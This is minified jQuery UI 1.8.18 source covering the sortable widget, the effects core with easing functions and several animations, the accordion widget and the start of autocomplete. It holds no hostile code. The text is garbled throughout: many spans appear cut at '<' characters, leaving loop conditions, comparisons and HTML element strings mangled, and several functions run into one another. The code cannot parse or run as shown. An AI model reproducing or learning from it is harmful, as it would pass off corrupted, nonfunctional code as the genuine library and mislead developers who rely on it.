h=!1;a(this.options.handle,e).find("*").andSelf().each(function(){this==b.target&&(h=!0)});if(!h)return!1}this.currentItem=e,this._removeCurrentsFromItems();return!0},_mouseStart:function(b,c,d){var e=this.options,f=this;this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(b),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),a.extend(this.offset,{click:{left:b.pageX-this.offset.left,top:b.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.originalPosition=this._generatePosition(b),this.originalPageX=b.pageX,this.originalPageY=b.pageY,e.cursorAt&&this._adjustOffsetFromHelper(e.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!=this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),e.containment&&this._setContainment(),e.cursor&&(a("body").css("cursor")&&(this._storedCursor=a("body").css("cursor")),a("body").css("cursor",e.cursor)),e.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",e.opacity)),e.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",e.zIndex)),this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",b,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions();if(!d)for(var g=this.containers.length-1;g>=0;g--)this.containers[g]._trigger("activate",b,f._uiHash(this));a.ui.ddmanager&&(a.ui.ddmanager.current=this),a.ui.ddmanager&&!e.dropBehaviour&&a.ui.ddmanager.prepareOffsets(this,b),this.dragging=!0,this.helper.addClass("ui-sortable-helper"),this._mouseDrag(b);return!0},_mouseDrag:function(b){this.position=this._generatePosition(b),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs);if(this.options.scroll){var c=this.options,d=!1;this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-b.pageY=0;e--){var f=this.items[e],g=f.item[0],h=this._intersectsWithPointer(f);if(!h)continue;if(g!=this.currentItem[0]&&this.placeholder[h==1?"next":"prev"]()[0]!=g&&!a.ui.contains(this.placeholder[0],g)&&(this.options.type=="semi-dynamic"?!a.ui.contains(this.element[0],g):!0)){this.direction=h==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(f))this._rearrange(b,f);else break;this._trigger("change",b,this._uiHash());break}}this._contactContainers(b),a.ui.ddmanager&&a.ui.ddmanager.drag(this,b),this._trigger("sort",b,this._uiHash()),this.lastPositionAbs=this.positionAbs;return!1},_mouseStop:function(b,c){if(!!b){a.ui.ddmanager&&!this.options.dropBehaviour&&a.ui.ddmanager.drop(this,b);if(this.options.revert){var d=this,e=d.placeholder.offset();d.reverting=!0,a(this.helper).animate({left:e.left-this.offset.parent.left-d.margins.left+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollLeft),top:e.top-this.offset.parent.top-d.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){d._clear(b)})}else this._clear(b,c);return!1}},cancel:function(){var b=this;if(this.dragging){this._mouseUp({target:null}),this.options.helper=="original"?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var c=this.containers.length-1;c>=0;c--)this.containers[c]._trigger("deactivate",null,b._uiHash(this)),this.containers[c].containerCache.over&&(this.containers[c]._trigger("out",null,b._uiHash(this)),this.containers[c].containerCache.over=0)}this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.options.helper!="original"&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),a.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?a(this.domPosition.prev).after(this.currentItem):a(this.domPosition.parent).prepend(this.currentItem));return this},serialize:function(b){var c=this._getItemsAsjQuery(b&&b.connected),d=[];b=b||{},a(c).each(function(){var c=(a(b.item||this).attr(b.attribute||"id")||"").match(b.expression||/(.+)[-=_](.+)/);c&&d.push((b.key||c[1]+"[]")+"="+(b.key&&b.expression?c[1]:c[2]))}),!d.length&&b.key&&d.push(b.key+"=");return d.join("&")},toArray:function(b){var c=this._getItemsAsjQuery(b&&b.connected),d=[];b=b||{},c.each(function(){d.push(a(b.item||this).attr(b.attribute||"id")||"")});return d},_intersectsWith:function(a){var b=this.positionAbs.left,c=b+this.helperProportions.width,d=this.positionAbs.top,e=d+this.helperProportions.height,f=a.left,g=f+a.width,h=a.top,i=h+a.height,j=this.offset.click.top,k=this.offset.click.left,l=d+j>h&&d+jf&&b+ka[this.floating?"width":"height"]?l:f0?"down":"up")},_getDragHorizontalDirection:function(){var a=this.positionAbs.left-this.lastPositionAbs.left;return a!=0&&(a>0?"right":"left")},refresh:function(a){this._refreshItems(a),this.refreshPositions();return this},_connectWith:function(){var a=this.options;return a.connectWith.constructor==String?[a.connectWith]:a.connectWith},_getItemsAsjQuery:function(b){var c=this,d=[],e=[],f=this._connectWith();if(f&&b)for(var g=f.length-1;g>=0;g--){var h=a(f[g]);for(var i=h.length-1;i>=0;i--){var j=a.data(h[i],this.widgetName);j&&j!=this&&!j.options.disabled&&e.push([a.isFunction(j.options.items)?j.options.items.call(j.element):a(j.options.items,j.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),j])}}e.push ([a.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):a(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]);for(var g=e.length-1;g>=0;g--)e[g][0].each(function(){d.push(this)});return a(d)},_removeCurrentsFromItems:function(){var a=this.currentItem.find(":data("+this.widgetName+"-item)");for(var b=0;b=0;g--){var h=a(f[g]);for(var i=h.length-1;i>=0;i--){var j=a.data(h[i],this.widgetName);j&&j!=this&&!j.options.disabled&&(e.push([a.isFunction(j.options.items)?j.options.items.call(j.element[0],b,{item:this.currentItem}):a(j.options.items,j.element),j]),this.containers.push(j))}}for(var g=e.length-1;g>=0;g--){var k=e[g][1],l=e[g][0];for(var i=0,m=l.length;i=0;c--){var d=this.items[c];if(d.instance!=this.currentContainer&&this.currentContainer&&d.item[0]!=this.currentItem[0])continue;var e=this.options.toleranceElement?a(this.options.toleranceElement,d.item):d.item;b||(d.width=e.outerWidth(),d.height=e.outerHeight());var f=e.offset();d.left=f.left,d.top=f.top}if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(var c=this.containers.length-1;c>=0;c--){var f=this.containers[c].element.offset();this.containers[c].containerCache.left=f.left,this.containers[c].containerCache.top=f.top,this.containers[c].containerCache.width=this.containers[c].element.outerWidth(),this.containers[c].containerCache.height=this.containers[c].element.outerHeight()}return this},_createPlaceholder:function(b){var c=b||this,d=c.options;if(!d.placeholder||d.placeholder.constructor==String){var e=d.placeholder;d.placeholder={element:function(){var b=a(document.createElement(c.currentItem[0].nodeName)).addClass(e||c.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];e||(b.style.visibility="hidden");return b},update:function(a,b){if(!e||!!d.forcePlaceholderSize)b.height()||b.height(c.currentItem.innerHeight()-parseInt(c.currentItem.css("paddingTop")||0,10)-parseInt(c.currentItem.css("paddingBottom")||0,10)),b.width()||b.width(c.currentItem.innerWidth()-parseInt(c.currentItem.css("paddingLeft")||0,10)-parseInt(c.currentItem.css("paddingRight")||0,10))}}}c.placeholder=a(d.placeholder.element.call(c.element,c.currentItem)),c.currentItem.after(c.placeholder),d.placeholder.update(c,c.placeholder)},_contactContainers:function(b){var c=null,d=null;for(var e=this.containers.length-1;e>=0;e--){if(a.ui.contains(this.currentItem[0],this.containers[e].element[0]))continue;if(this._intersectsWith(this.containers[e].containerCache)){if(c&&a.ui.contains(this.containers[e].element[0],c.element[0]))continue;c=this.containers[e],d=e}else this.containers[e].containerCache.over&&(this.containers[e]._trigger("out",b,this._uiHash(this)),this.containers[e].containerCache.over=0)}if(!!c)if(this.containers.length===1)this.containers[d]._trigger("over",b,this._uiHash(this)),this.containers[d].containerCache.over=1;else if(this.currentContainer!=this.containers[d]){var f=1e4,g=null,h=this.positionAbs[this.containers[d].floating?"left":"top"];for(var i=this.items.length-1;i>=0;i--){if(!a.ui.contains(this.containers[d].element[0],this.items[i].item[0]))continue;var j=this.items[i][this.containers[d].floating?"left":"top"];Math.abs(j-h)this.containment[2]&&(f=this.containment[2]+this.offset.click.left),b.pageY-this.offset.click.top>this.containment[3]&&(g=this.containment[3]+this.offset.click.top));if(c.grid){var h=this.originalPageY+Math.round((g-this.originalPageY)/c.grid[1])*c.grid[1];g=this.containment?h-this.offset.click.topthis.containment[3]?h-this.offset.click.topthis.containment[2]?i-this.offset.click.left=0;f--)a.ui.contains(this.containers[f].element[0],this.currentItem[0])&&!c&&(d.push(function(a){return function(b){a._trigger("receive",b,this._uiHash(this))}}.call(this,this.containers[f])),d.push(function(a){return function(b){a._trigger("update",b,this._uiHash(this))}}.call(this,this.containers[f])))}for(var f=this.containers.length-1;f>=0;f--)c||d.push(function(a){return function(b){a._trigger("deactivate",b,this._uiHash(this))}}.call(this,this.containers[f])),this.containers[f].containerCache.over&&(d.push(function(a){return function(b){a._trigger("out",b,this._uiHash(this))}}.call(this,this.containers[f])),this.containers[f].containerCache.over=0);this._storedCursor&&a("body").css("cursor",this._storedCursor),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex),this.dragging=!1;if(this.cancelHelperRemoval){if(!c){this._trigger("beforeStop",b,this._uiHash());for(var f=0;f").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),e=document.activeElement;b.wrap(d),(b[0]===e||a.contains(b[0],e))&&a(e).focus(),d=b.parent(),b.css("position")=="static"?(d.css({position:"relative"}),b.css({position:"relative"})):(a.extend(c,{position:b.css("position"),zIndex:b.css("z-index")}),a.each(["top","left","bottom","right"],function(a,d){c[d]=b.css(d),isNaN(parseInt(c[d],10))&&(c[d]="auto")}),b.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"}));return d.css(c).show()},removeWrapper:function(b){var c,d=document.activeElement;if(b.parent().is(".ui-effects-wrapper")){c=b.parent().replaceWith(b),(b[0]===d||a.contains(b[0],d))&&a(d).focus();return c}return b},setTransition:function(b,c,d,e){e=e||{},a.each(c,function(a,c){unit=b.cssUnit(c),unit[0]>0&&(e[c]=unit[0]*d+unit[1])});return e}}),a.fn.extend({effect:function(b,c,d,e){var f=k.apply(this,arguments),g={options:f[1],duration:f[2],callback:f[3]},h=g.options.mode,i=a.effects[b];if(a.fx.off||!i)return h?this[h](g.duration,g.callback):this.each(function(){g.callback&&g.callback.call(this)});return i.call(this,g)},_show:a.fn.show,show:function(a){if(l(a))return this._show.apply(this,arguments);var b=k.apply(this,arguments);b[1].mode="show";return this.effect.apply(this,b)},_hide:a.fn.hide,hide:function(a){if(l(a))return this._hide.apply(this,arguments);var b=k.apply(this,arguments);b[1].mode="hide";return this.effect.apply(this,b)},__toggle:a.fn.toggle,toggle:function(b){if(l(b)||typeof b=="boolean"||a.isFunction(b))return this.__toggle.apply(this,arguments);var c=k.apply(this,arguments);c[1].mode="toggle";return this.effect.apply(this,c)},cssUnit:function(b){var c=this.css(b),d=[];a.each(["em","px","%","pt"],function(a,b){c.indexOf(b)>0&&(d=[parseFloat(c),b])});return d}}),a.easing.jswing=a.easing.swing,a.extend(a.easing,{def:"easeOutQuad",swing:function(b,c,d,e,f){return a.easing[a.easing.def](b,c,d,e,f)},easeInQuad:function(a,b,c,d,e){return d*(b/=e)*b+c},easeOutQuad:function(a,b,c,d,e){return-d*(b/=e)*(b-2)+c},easeInOutQuad:function(a,b,c,d,e){if((b/=e/2)<1)return d/2*b*b+c;return-d/2*(--b*(b-2)-1)+c},easeInCubic:function(a,b,c,d,e){return d*(b/=e)*b*b+c},easeOutCubic:function(a,b,c,d,e){return d*((b=b/e-1)*b*b+1)+c},easeInOutCubic:function(a,b,c,d,e){if((b/=e/2)<1)return d/2*b*b*b+c;return d/2*((b-=2)*b*b+2)+c},easeInQuart:function(a,b,c,d,e){return d*(b/=e)*b*b*b+c},easeOutQuart:function(a,b,c,d,e){return-d*((b=b/e-1)*b*b*b-1)+c},easeInOutQuart:function(a,b,c,d,e){if((b/=e/2)<1)return d/2*b*b*b*b+c;return-d/2*((b-=2)*b*b*b-2)+c},easeInQuint:function(a,b,c,d,e){return d*(b/=e)*b*b*b*b+c},easeOutQuint:function(a,b,c,d,e){return d*((b=b/e-1)*b*b*b*b+1)+c},easeInOutQuint:function(a,b,c,d,e){if((b/=e/2)<1)return d/2*b*b*b*b*b+c;return d/2*((b-=2)*b*b*b*b+2)+c},easeInSine:function(a,b,c,d,e){return-d*Math.cos(b/e*(Math.PI/2))+d+c},easeOutSine:function(a,b,c,d,e){return d*Math.sin(b/e*(Math.PI/2))+c},easeInOutSine:function(a,b,c,d,e){return-d/2*(Math.cos(Math.PI*b/e)-1)+c},easeInExpo:function(a,b,c,d,e){return b==0?c:d*Math.pow(2,10*(b/e-1))+c},easeOutExpo:function(a,b,c,d,e){return b==e?c+d:d*(-Math.pow(2,-10*b/e)+1)+c},easeInOutExpo:function(a,b,c,d,e){if(b==0)return c;if(b==e)return c+d;if((b/=e/2)<1)return d/2*Math.pow(2,10*(b-1))+c;return d/2*(-Math.pow(2,-10*--b)+2)+c},easeInCirc:function(a,b,c,d,e){return-d*(Math.sqrt(1-(b/=e)*b)-1)+c},easeOutCirc:function(a,b,c,d,e){return d*Math.sqrt(1-(b=b/e-1)*b)+c},easeInOutCirc:function(a,b,c,d,e){if((b/=e/2)<1)return-d/2*(Math.sqrt(1-b*b)-1)+c;return d/2*(Math.sqrt(1-(b-=2)*b)+1)+c},easeInElastic:function(a,b,c,d,e){var f=1.70158,g=0,h=d;if(b==0)return c;if((b/=e)==1)return c+d;g||(g=e*.3);if(h").css({position:"absolute",visibility:"visible",left:-j*(g/d),top:-i*(h/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:g/d,height:h/c,left:f.left+j*(g/d)+(b.options.mode=="show"?(j-Math.floor(d/2))*(g/d):0),top:f.top+i*(h/c)+(b.options.mode=="show"?(i-Math.floor(c/2))*(h/c):0),opacity:b.options.mode=="show"?0:1}).animate({left:f.left+j*(g/d)+(b.options.mode=="show"?0:(j-Math.floor(d/2))*(g/d)),top:f.top+i*(h/c)+(b.options.mode=="show"?0:(i-Math.floor(c/2))*(h/c)),opacity:b.options.mode=="show"?1:0},b.duration||500);setTimeout(function(){b.options.mode=="show"?e.css({visibility:"visible"}):e.css({visibility:"visible"}).hide(),b.callback&&b.callback.apply(e[0]),e.dequeue(),a("div.ui-effects-explode").remove()},b.duration||500)})}}(jQuery),function(a,b){a.effects.fade=function(b){return this.queue(function(){var c=a(this),d=a.effects.setMode(c,b.options.mode||"hide");c.animate({opacity:d},{queue:!1,duration:b.duration,easing:b.options.easing,complete:function(){b.callback&&b.callback.apply(this,arguments),c.dequeue()}})})}}(jQuery),function(a,b){a.effects.fold=function(b){return this.queue(function(){var c=a(this),d=["position","top","bottom","left","right"],e=a.effects.setMode(c,b.options.mode||"hide"),f=b.options.size||15,g=!!b.options.horizFirst,h=b.duration?b.duration/2:a.fx.speeds._default/2;a.effects.save(c,d),c.show();var i=a.effects.createWrapper(c).css({overflow:"hidden"}),j=e=="show"!=g,k=j?["width","height"]:["height","width"],l=j?[i.width(),i.height()]:[i.height(),i.width()],m=/([0-9]+)%/.exec(f);m&&(f=parseInt(m[1],10)/100*l[e=="hide"?0:1]),e=="show"&&i.css(g?{height:0,width:f}:{height:f,width:0});var n={},p={};n[k[0]]=e=="show"?l[0]:f,p[k[1]]=e=="show"?l[1]:0,i.animate(n,h,b.options.easing).animate(p,h,b.options.easing,function(){e=="hide"&&c.hide(),a.effects.restore(c,d),a.effects.removeWrapper(c),b.callback&&b.callback.apply(c[0],arguments),c.dequeue()})})}}(jQuery),function(a,b){a.effects.highlight=function(b){return this.queue(function(){var c=a(this),d=["backgroundImage","backgroundColor","opacity"],e=a.effects.setMode(c,b.options.mode||"show"),f={backgroundColor:c.css("backgroundColor")};e=="hide"&&(f.opacity=0),a.effects.save(c,d),c.show().css({backgroundImage:"none",backgroundColor:b.options.color||"#ffff99"}).animate(f,{queue:!1,duration:b.duration,easing:b.options.easing,complete:function(){e=="hide"&&c.hide(),a.effects.restore(c,d),e=="show"&&!a.support.opacity&&this.style.removeAttribute("filter"),b.callback&&b.callback.apply(this,arguments),c.dequeue()}})})}}(jQuery),function(a,b){a.effects.pulsate=function(b){return this.queue(function(){var c=a(this),d=a.effects.setMode(c,b.options.mode||"show");times=(b.options.times||5)*2-1,duration=b.duration?b.duration/2:a.fx.speeds._default/2,isVisible=c.is(":visible"),animateTo=0,isVisible||(c.css("opacity",0).show(),animateTo=1),(d=="hide"&&isVisible||d=="show"&&!isVisible)&×--;for(var e=0;e').appendTo(document.body).addClass(b.options.className).css({top:g.top,left:g.left,height:c.innerHeight(),width:c.innerWidth(),position:"absolute"}).animate(f,b.duration,b.options.easing,function(){h.remove(),b.callback&&b.callback.apply(c[0],arguments),c.dequeue()})})}}(jQuery),function(a,b){a.widget("ui.accordion",{options:{active:0,animated:"slide",autoHeight:!0,clearStyle:!1,collapsible:!1,event:"click",fillSpace:!1,header:"> li > :first-child,> :not(li):even",icons:{header:"ui-icon-triangle-1-e",headerSelected:"ui-icon-triangle-1-s"},navigation:!1,navigationFilter:function(){return this.href.toLowerCase()===location.href.toLowerCase()}},_create:function(){var b=this,c=b.options;b.running=0,b.element.addClass("ui-accordion ui-widget ui-helper-reset").children("li").addClass("ui-accordion-li-fix"),b.headers=b.element.find(c.header).addClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all").bind("mouseenter.accordion",function(){c.disabled||a(this).addClass("ui-state-hover")}).bind("mouseleave.accordion",function(){c.disabled||a(this).removeClass("ui-state-hover")}).bind("focus.accordion",function(){c.disabled||a(this).addClass("ui-state-focus")}).bind("blur.accordion",function(){c.disabled||a(this).removeClass("ui-state-focus")}),b.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom");if(c.navigation){var d=b.element.find("a").filter(c.navigationFilter).eq(0);if(d.length){var e=d.closest(".ui-accordion-header");e.length?b.active=e:b.active=d.closest(".ui-accordion-content").prev()}}b.active=b._findActive(b.active||c.active).addClass("ui-state-default ui-state-active").toggleClass("ui-corner-all").toggleClass("ui-corner-top"),b.active.next().addClass("ui-accordion-content-active"),b._createIcons(),b.resize(),b.element.attr("role","tablist"),b.headers.attr("role","tab").bind("keydown.accordion",function(a){return b._keydown(a)}).next().attr("role","tabpanel"),b.headers.not(b.active||"").attr({"aria-expanded":"false","aria-selected":"false",tabIndex:-1}).next().hide(),b.active.length?b.active.attr({"aria-expanded":"true","aria-selected":"true",tabIndex:0}):b.headers.eq(0).attr("tabIndex",0),a.browser.safari||b.headers.find("a").attr("tabIndex",-1),c.event&&b.headers.bind(c.event.split(" ").join(".accordion ")+".accordion",function(a){b._clickHandler.call(b,a,this),a.preventDefault()})},_createIcons:function(){var b=this.options;b.icons&&(a("").addClass("ui-icon "+b.icons.header).prependTo(this.headers),this.active.children(".ui-icon").toggleClass(b.icons.header).toggleClass(b.icons.headerSelected),this.element.addClass("ui-accordion-icons"))},_destroyIcons:function(){this.headers.children(".ui-icon").remove(),this.element.removeClass("ui-accordion-icons")},destroy:function(){var b=this.options;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role"),this.headers.unbind(".accordion").removeClass("ui-accordion-header ui-accordion-disabled ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("aria-selected").removeAttr("tabIndex"),this.headers.find("a").removeAttr("tabIndex"),this._destroyIcons();var c=this.headers.next().css("display","").removeAttr("role").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-accordion-disabled ui-state-disabled");(b.autoHeight||b.fillHeight)&&c.css("height","");return a.Widget.prototype.destroy.call(this)},_setOption:function(b,c){a.Widget.prototype._setOption.apply(this,arguments),b=="active"&&this.activate(c),b=="icons"&&(this._destroyIcons(),c&&this._createIcons()),b=="disabled"&&this.headers.add(this.headers.next())[c?"addClass":"removeClass"]("ui-accordion-disabled ui-state-disabled")},_keydown:function(b){if(!(this.options.disabled||b.altKey||b.ctrlKey)){var c=a.ui.keyCode,d=this.headers.length,e=this.headers.index(b.target),f=!1;switch(b.keyCode){case c.RIGHT:case c.DOWN:f=this.headers[(e+1)%d];break;case c.LEFT:case c.UP:f=this.headers[(e-1+d)%d];break;case c.SPACE:case c.ENTER:this._clickHandler({target:b.target},b.target),b.preventDefault()}if(f){a(b.target).attr("tabIndex",-1),a(f).attr("tabIndex",0),f.focus();return!1}return!0}},resize:function(){var b=this.options,c;if(b.fillSpace){if(a.browser.msie){var d=this.element.parent().css("overflow");this.element.parent().css("overflow","hidden")}c=this.element.parent().height(),a.browser.msie&&this.element.parent().css("overflow",d),this.headers.each(function(){c-=a(this).outerHeight(!0)}),this.headers.next().each(function(){a(this).height(Math.max(0,c-a(this).innerHeight()+a(this).height()))}).css("overflow","auto")}else b.autoHeight&&(c=0,this.headers.next().each(function(){c=Math.max(c,a(this).height("").height())}).height(c));return this},activate:function(a){this.options.active=a;var b=this._findActive(a)[0];this._clickHandler({target:b},b);return this},_findActive:function(b){return b?typeof b=="number"?this.headers.filter(":eq("+b+")"):this.headers.not(this.headers.not(b)):b===!1?a([]):this.headers.filter(":eq(0)")},_clickHandler:function(b,c){var d=this.options;if(!d.disabled){if(!b.target){if(!d.collapsible)return;this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header),this.active.next().addClass("ui-accordion-content-active");var e=this.active.next(),f={options:d,newHeader:a([]),oldHeader:d.active,newContent:a([]),oldContent:e},g=this.active=a([]);this._toggle(g,e,f);return}var h=a(b.currentTarget||c),i=h[0]===this.active[0];d.active=d.collapsible&&i?!1:this.headers.index(h);if(this.running||!d.collapsible&&i)return;var j=this.active,g=h.next(),e=this.active.next(),f={options:d,newHeader:i&&d.collapsible?a([]):h,oldHeader:this.active,newContent:i&&d.collapsible?a([]):g,oldContent:e},k=this.headers.index(this.active[0])>this.headers.index(h[0]);this.active=i?a([]):h,this._toggle(g,e,f,i,k),j.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header),i||(h.removeClass("ui-state-default ui-corner-all").addClass("ui-state-active ui-corner-top").children(".ui-icon").removeClass(d.icons.header).addClass(d.icons.headerSelected),h.next().addClass("ui-accordion-content-active"));return}},_toggle:function(b,c,d,e,f){var g=this,h=g.options;g.toShow=b,g.toHide=c,g.data=d;var i=function(){if(!!g)return g._completed.apply(g,arguments)};g._trigger("changestart",null,g.data),g.running=c.size()===0?b.size():c.size();if(h.animated){var j={};h.collapsible&&e?j={toShow:a([]),toHide:c,complete:i,down:f,autoHeight:h.autoHeight||h.fillSpace}:j={toShow:b,toHide:c,complete:i,down:f,autoHeight:h.autoHeight||h.fillSpace},h.proxied||(h.proxied=h.animated),h.proxiedDuration||(h.proxiedDuration=h.duration),h.animated=a.isFunction(h.proxied)?h.proxied(j):h.proxied,h.duration=a.isFunction(h.proxiedDuration)?h.proxiedDuration(j):h.proxiedDuration;var k=a.ui.accordion.animations,l=h.duration,m=h.animated;m&&!k[m]&&!a.easing[m]&&(m="slide"),k[m]||(k[m]=function(a){this.slide(a,{easing:m,duration:l||700})}),k[m](j)}else h.collapsible&&e?b.toggle():(c.hide(),b.show()),i(!0);c.prev().attr({"aria-expanded":"false","aria-selected":"false",tabIndex:-1}).blur(),b.prev().attr({"aria-expanded":"true","aria-selected":"true",tabIndex:0}).focus()},_completed:function(a){this.running=a?0:--this.running;this.running||(this.options.clearStyle&&this.toShow.add(this.toHide).css({height:"",overflow:""}),this.toHide.removeClass("ui-accordion-content-active"),this.toHide.length&&(this.toHide.parent()[0].className=this.toHide.parent()[0].className),this._trigger("change",null,this.data))}}),a.extend(a.ui.accordion,{version:"1.8.18",animations:{slide:function(b,c){b=a.extend({easing:"swing",duration:300},b,c);if(!b.toHide.size())b.toShow.animate({height:"show",paddingTop:"show",paddingBottom:"show"},b);else{if(!b.toShow.size()){b.toHide.animate({height:"hide",paddingTop:"hide",paddingBottom:"hide"},b);return}var d=b.toShow.css("overflow"),e=0,f={},g={},h=["height","paddingTop","paddingBottom"],i,j=b.toShow;i=j[0].style.width,j.width(j.parent().width()-parseFloat(j.css("paddingLeft"))-parseFloat(j.css("paddingRight"))-(parseFloat(j.css("borderLeftWidth"))||0)-(parseFloat(j.css("borderRightWidth"))||0)),a.each(h,function(c,d){g[d]="hide";var e=(""+a.css(b.toShow[0],d)).match(/^([\d+-.]+)(.*)$/);f[d]={value:e[1],unit:e[2]||"px"}}),b.toShow.css({height:0,overflow:"hidden"}).show(),b.toHide.filter(":hidden").each(b.complete).end().filter(":visible").animate(g,{step:function(a,c){c.prop=="height"&&(e=c.end-c.start===0?0:(c.now-c.start)/(c.end-c.start)),b.toShow[0].style[c.prop]=e*f[c.prop].value+f[c.prop].unit},duration:b.duration,easing:b.easing,complete:function(){b.autoHeight||b.toShow.css("height",""),b.toShow.css({width:i,overflow:d}),b.complete()}})}},bounceslide:function(a){this.slide(a,{easing:a.down?"easeOutBounce":"swing",duration:a.down?1e3:200})}}})}(jQuery),function(a,b){var c=0;a.widget("ui.autocomplete",{options:{appendTo:"body",autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null},pending:0,_create:function(){var b=this,c=this.element[0].ownerDocument,d;this.element.addClass("ui-autocomplete-input").attr("autocomplete","off").attr({role:"textbox","aria-autocomplete":"list","aria-haspopup":"true"}).bind("keydown.autocomplete",function(c){if(!b.options.disabled&&!b.element.propAttr("readOnly")){d=!1;var e=a.ui.keyCode;switch(c.keyCode){case e.PAGE_UP:b._move("previousPage",c);break;case e.PAGE_DOWN:b._move("nextPage",c);break;case e.UP:b._move("previous",c),c.preventDefault();break;case e.DOWN:b._move("next",c),c.preventDefault();break;case e.ENTER:case e.NUMPAD_ENTER:b.menu.active&&(d=!0,c.preventDefault());case e.TAB:if(!b.menu.active)return;b.menu.select(c);break;case e.ESCAPE:b.element.val(b.term),b.close(c);break;default:clearTimeout(b.searching),b.searching=setTimeout(function(){b.term!=b.element.val()&&(b.selectedItem=null,b.search(null,c))},b.options.delay)}}}).bind("keypress.autocomplete",function(a){d&&(d=!1,a.preventDefault())}).bind("focus.autocomplete",function(){b.options.disabled||(b.selectedItem=null,b.previous=b.element.val())}).bind("blur.autocomplete",function(a){b.options.disabled||(clearTimeout(b.searching),b.closing=setTimeout(function(){b.close(a),b._change(a)},150))}),this._initSource(),this.response=function(){return b._response.apply(b,arguments)},this.menu=a("
    ").addClass("ui-autocomplete").appendTo(a(this.options.appendTo||"body",c)[0]).mousedown(function(c){var d=b.menu.element[0];a(c.target).closest(".ui-menu-item").length||setTimeout(function(){a(document).one("mousedown",function(c){c.target!==b.element[0]&&c.target!==d&&!a.ui.contains(d,c.target)&&b.close()})},1),setTimeout(function(){clearTimeout(b.closing)},13)}).menu({focus:function(a,c){var d=c.item.data("item.autocomplete");!1!==b._trigger("focus",a,{item:d})&&/^key/.test(a.originalEvent.type)&&b.element.val(d.value)},selected:function(a,d){var e=d.item.data("item.autocomplete"),f=b.previous;b.element[0]!==c.activeElement&&(b.element.focus(),b.previous=f,setTimeout(function(){b.previous=f,b.selectedItem=e},1)),!1!==b._trigger("select",a,{item:e})&&b.element.val(e.value),b.term=b.element.val(),b.close(a),b.selectedItem=e},blur:function(a,c){b.menu.element.is(":visible")&&b.element.val()!==b.term&&b.element.val(b.term)}}).zIndex(this.element.zIndex()+1).css({top:0,left:0}).hide().data("menu"),a.fn.bgiframe&&this.menu.element.bgiframe(),b.beforeunloadHandler=function(){b.element.removeAttr("autocomplete")},a(window).bind("beforeunload",b.beforeunloadHandler)},destroy:function(){this.element.removeClass("ui-autocomplete-input").removeAttr("autocomplete").removeAttr("role").removeAttr("aria-autocomplete").removeAttr("aria-haspopup"),this.menu.element.remove(),a(window).unbind("beforeunload",this.beforeunloadHandler),a.Widget.prototype.destroy.call(this)},_setOption:function(b,c){a.Widget.prototype._setOption.apply(this,arguments),b==="source"&&this._initSource(),b==="appendTo"&&this.menu.element.appendTo(a(c||"body",this.element[0].ownerDocument)[0]),b==="disabled"&&c&&this.xhr&&this.xhr.abort()},_initSource:function(){var b=this,d,e;a.isArray(this.options.source)?(d=this.options.source,this.source=function(b,c){c(a.ui.autocomplete.filter(d,b.term))}):typeof 